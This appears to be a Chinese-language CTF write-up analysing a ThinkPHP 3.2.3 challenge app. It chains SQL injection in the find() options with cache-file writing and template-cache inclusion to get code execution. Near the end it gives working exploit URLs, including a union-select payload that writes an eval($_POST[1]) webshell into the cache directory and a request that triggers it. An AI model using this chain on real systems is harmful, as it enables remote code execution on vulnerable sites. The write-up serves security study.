有师傅发来了一道起初我看来是不可能完成的ctf题目,题目的功能很短,只有寥寥数行,是基于thinkphp3.2.3的一个开发的应用
xxxxxxxxxx
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function index()
{
$cid = I('cid', 0, 'intval');
if ($cid == 0) $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>', 'utf-8');
else {
$this->page($cid);
}
}
public function page($cid = 0)
{
if ($cid == 0) $this->error('error');
$content = M('Articles')->Field('content')->find($cid);
$this->show(base64_encode($content['content']), 'utf-8');
}
}
说到thinkphp3,首先想到的就是sql注入了,但是题目对于mysql的配置非常严格
xxxxxxxxxx
[mysqld]
pid-file = /var/run/mysqld/mysqld.pid
socket = /var/run/mysqld/mysqld.sock
datadir = /var/lib/mysql
secure-file-priv= NULL
character-set-server = utf8mb4
collation-server = utf8mb4_unicode_ci
init_connect='SET NAMES utf8mb4'
skip-character-set-client-handshake = true
default-authentication-plugin = mysql_native_password
[client]
default-character-set=utf8mb4
[mysql]
default-character-set = utf8mb4
# Custom config should go here
!includedir /etc/mysql/conf.d/
无法进行文件的读取和写入,同时采用了站库分离的设计,会让人觉得这个sql注入变得鸡肋起来,无法进一步的利用。tp3的反序列化才能达到客户端任意文件读的目的,这里显然也没满足这个要求。一时间让我感觉无从下手。
当时看了一段时间后,我认为这题目应该是没法做的,但是这里陷入了经验主义的陷阱。毕竟之前对于thinkphp3进行了较为详细的漏洞复现,觉得可能也就到这里了。没想到这边被我忽略的地方和强网杯当时被我忽略的地方如出一辙。看了别的师傅对于find函数的详细分析后(https://ml-hacker.github.io/2024/01/24/find-analysis/),我突然发现了思路,在find函数中也用到了S函数,那么这个S函数是之前出现了缓存getshell问题的缺陷。这里是不是会存在同样的问题,但是当时我走偏了一段,在分析S函数时,我看到了这样的写法
xxxxxxxxxx
function S($name, $value = '', $options = null)
{
static $cache = '';
if (is_array($options)) {
$type = isset($options['type']) ? $options['type'] : '';
$cache = Think\Cache::getInstance($type, $options);
} elseif (is_array($name)) {
$type = isset($name['type']) ? $name['type'] : '';
$cache = Think\Cache::getInstance($type, $name);
return $cache;
} elseif (empty($cache)) {
$cache = Think\Cache::getInstance();
}
if ('' === $value) {
return $cache->get($name);
} elseif (is_null($value)) {
return $cache->rm($name);
} else {
if (is_array($options)) {
$expire = isset($options['expire']) ? $options['expire'] : null;
} else {
$expire = is_numeric($options) ? $options : null;
}
return $cache->set($name, $value, $expire);
}
}
可以看到,这里我们可以实例化任意Think\Cache的子类,所以就狠自然而然地想到是不是可以从db的缓存方式入手(因为thinkphp3的注入是可以进行堆叠注入的,所以也可以创建我们需要的表)而db缓存方式中正好有个unserialize可以触发反序列化,达到后续的任意客户端文件读的目的,但是题目的mysql版本是mysql8,似乎网上目前的开源工具都无法直接利用,而是报数据格式错误的问题。似乎思路又进入了死胡同。
xxxxxxxxxx
public function get($name)
{
$name = $this->options['prefix'] . addslashes($name);
N('cache_read', 1);
$result = $this->handler->query('SELECT `data`,`datacrc` FROM `' . $this->options['table'] . '` WHERE `cachekey`=\'' . $name . '\' AND (`expire` =0 OR `expire`>' . time() . ') LIMIT 0,1');
if (false !== $result) {
$result = $result[0];
if (C('DATA_CACHE_CHECK')) {
//开启数据校验
if (md5($result['data']) != $result['datacrc']) { //校验错误
return false;
}
}
$content = $result['data'];
if (C('DATA_CACHE_COMPRESS') && function_exists('gzcompress')) {
//启用数据压缩
$content = gzuncompress($content);
}
$content = unserialize($content);
return $content;
} else {
return false;
}
}
但是回想一下,对cache以及其中的get方法进行关注的原因是因为find函数中的这样设计,这边是从缓存中拿取数据。
xxxxxxxxxx
// 判断查询缓存
if(isset($options['cache'])){
$cache = $options['cache'];
$key = is_string($cache['key'])?$cache['key']:md5(serialize($options));
$data = S($key,'',$cache);
if(false !== $data){
$this->data = $data;
return $data;
}
}
那么既然有对数据的拿取操作,必然也有着对于数据的写入操作,在底下找到了之前被我忽视的数据写入缓存的操作
xxxxxxxxxx
// 读取数据后的处理
$data = $this->_read_data($resultSet[0]);
$this->_after_find($data,$options);
if(!empty($this->options['result'])) {
return $this->returnResult($data,$this->options['result']);
}
$this->data = $data;
if(isset($cache)){
S($key,$data,$cache);
}
这边的$data不会进行任何的过滤操作,利用方式与之前的tp3缓存使用不当getshell方法利用相同。key的取值来自$options,而由于tp3的sql注入的where注入原理就在于污染了进行查询的$option数组,所以此处的$key,$data,$cache都可控,那么我们这就有了个可以写入任意目录,但是文件名为key的md5值的webshell了。如果是一般的网站,且web目录可写,那么可以直接在web目录下写入webhsell,或者直接访问缓存达到getshell的目的,但是这道题专门将tp的目录隔离在了web路径访问不到的地方,且web根目录无可写权限。
那么如何访问解析到我们的webshell就成了一个难题,毕竟权限有限,且文件名不可控。这里首先我对所有可以include的地方进行了检索,如加载配置文件,autoload等方法,但是发现在thinkphp核心类目录不可写的情况下,autoload寻找时会进行拼接.class.php这样我们的md5文件名是如何也找不到的,加载配置文件也是同理,唯一可能的是开启了多语言的切换功能,可以从语言那进行include,但是题目是默认配置,也是没有开启这个功能。既然这些路都走死了,可能问题还是在缓存上。
在代码审计时,我发现了一个很有趣的文件common~runtime.php,这个文件里面记录了所有thinkphp在运行时调用的类和函数,这时候我发现了一个很有趣的类以及它的run方法。
x
namespace Behavior {
use Think\Storage;
use Think\Think;
class ParseTemplateBehavior
{
public function run(&$_data)
{
$engine = strtolower(C('TMPL_ENGINE_TYPE'));
$_content = empty($_data['content']) ? $_data['file'] : $_data['content'];
$_data['prefix'] = !empty($_data['prefix']) ? $_data['prefix'] : C('TMPL_CACHE_PREFIX');
if ('think' == $engine) {
if ((!empty($_data['content']) && $this->checkContentCache($_data['content'], $_data['prefix'])) || $this->checkCache($_data['file'], $_data['prefix'])) {
Storage::load(C('CACHE_PATH') . $_data['prefix'] . md5($_content) . C('TMPL_CACHFILE_SUFFIX'), $_data['var']);
} else {
$tpl = Think::instance('Think\\Template');
$tpl->fetch($_content, $_data['var'], $_data['prefix']);
}
} else {
if (strpos($engine, '\\')) {
$class = $engine;
} else {
$class = 'Think\\Template\\Driver\\' . ucwords($engine);
}
if (class_exists($class)) {
$tpl = new $class;
$tpl->fetch($_content, $_data['var']);
} else {
E(L('_NOT_SUPPORT_') . ': ' . $class);
}
}
}
protected function checkCache($tmplTemplateFile, $prefix = '')
{
if (!C('TMPL_CACHE_ON')) {
return false;
}
$tmplCacheFile = C('CACHE_PATH') . $prefix . md5($tmplTemplateFile) . C('TMPL_CACHFILE_SUFFIX');
if (!Storage::has($tmplCacheFile)) {
return false;
} elseif (filemtime($tmplTemplateFile) > Storage::get($tmplCacheFile, 'mtime')) {
return false;
} elseif (C('TMPL_CACHE_TIME') != 0 && time() > Storage::get($tmplCacheFile, 'mtime') + C('TMPL_CACHE_TIME')) {
return false;
}
if (C('LAYOUT_ON')) {
$layoutFile = THEME_PATH . C('LAYOUT_NAME') . C('TMPL_TEMPLATE_SUFFIX');
if (filemtime($layoutFile) > Storage::get($tmplCacheFile, 'mtime')) {
return false;
}
}
return true;
}
protected function checkContentCache($tmplContent, $prefix = '')
{
if (Storage::has(C('CACHE_PATH') . $prefix . md5($tmplContent) . C('TMPL_CACHFILE_SUFFIX'))) {
return true;
} else {
return false;
}
}
}
}
这个类的run方法,恰好也是使用了md5的content的值进行文件的命名,最后走到Storage::load其实也就是调用了文件包含的include方法。那么我们就有了思路,将cache的key的值构造成之前show函数中传入的base64_encode($content['content'])的值
x
public function page($cid = 0)
{
if ($cid == 0) $this->error('error');
$content = M('Articles')->Field('content')->find($cid);
$this->show(base64_encode($content['content']), 'utf-8');
}
同时将生成缓存文件路径即options['temp']的位置替换成C('CACHE_PATH') . $_data['prefix'],就可以完美的进行cache的覆盖,从而让server加载我们写入的webshell缓存,整个流程豁然开朗起来。
x
private function filename($name)
{
$name = md5(C('DATA_CACHE_KEY') . $name);
if (C('DATA_CACHE_SUBDIR')) {
// 使用子目录
$dir = '';
for ($i = 0; $i < C('DATA_PATH_LEVEL'); $i++) {
$dir .= $name{$i} . '/';
}
if (!is_dir($this->options['temp'] . $dir)) {
mkdir($this->options['temp'] . $dir, 0755, true);
}
$filename = $dir . $this->options['prefix'] . $name . '.php';
} else {
$filename = $this->options['prefix'] . $name . '.php';
}
return $this->options['temp'] . $filename;
}
所以整体流程就分为这三步来进行,第一步获取base64_encode($content['content'])的值,第二步将该值作为键值通过sql注入写入webshell,第三步再次访问第一次的路由触发webshell。
xhttp://10.81.2.126:8093/index.php/?s=home/index/page&cid[where]=1
xxxxxxxxxx
http://10.81.2.126:8093/?s=home/index/page&cid[where]=1=0%20union%20select%20%27%0D%0Aeval($_POST[1]);//%27;&cid[cache][key]=VGhpcyBpcyB0aGUgY29udGVudCBvZiB0aGUgZmlyc3QgYXJ0aWNsZQ==&cid[cache][temp]=../tp/Application/Runtime/Cache/Home/
xxxxxxxxxx
POST http://10.81.2.126:8093/index.php/?s=home/index/page&cid[where]=1
1=phpinfo();
ParseTemplateBehavior类的调用路径,这里我一开始也没想到会被Hook这触发,所以看任何函数时都要仔细
xxxxxxxxxx
#0 /var/www/tp/ThinkPHP/Library/Think/Hook.class.php(131): Behavior\ParseTemplateBehavior->run(Array)
#1 /var/www/tp/ThinkPHP/Library/Think/Hook.class.php(99): Think\Hook::exec('Behavior\ParseT...', 'view_parse', Array)
#2 /var/www/tp/ThinkPHP/Library/Think/View.class.php(143): Think\Hook::listen('view_parse', Array)
#3 /var/www/tp/ThinkPHP/Library/Think/View.class.php(77): Think\View->fetch('', 'VGhpcyBpcyB0aGU...', '')
#4 /var/www/tp/ThinkPHP/Library/Think/Controller.class.php(75): Think\View->display('', 'utf-8', '', 'VGhpcyBpcyB0aGU...', '')
#5 /var/www/tp/Application/Home/Controller/IndexController.class.php(19): Think\Controller->show('VGhpcyBpcyB0aGU...', 'utf-8')
#6 [internal function]: Home\Controller\IndexController->page(Array)
#7 /var/www/tp/ThinkPHP/Library/Think/App.class.php(179): ReflectionMethod->invokeArgs(Object(Home\Controller\IndexController), Array)
#8 /var/www/tp/ThinkPHP/Library/Think/App.class.php(116): Think\App::invokeAction(Object(Home\Controller\IndexController), 'page')
#9 /var/www/tp/ThinkPHP/Library/Think/App.class.php(214): Think\App::exec()
#10 /var/www/tp/ThinkPHP/Library/Think/Think.class.php(135): Think\App::run()
#11 /var/www/tp/ThinkPHP/ThinkPHP.php(100): Think\Think::start()
#12 /var/www/html/index.php(26): require('/var/www/tp/Thi...')
#13 {main}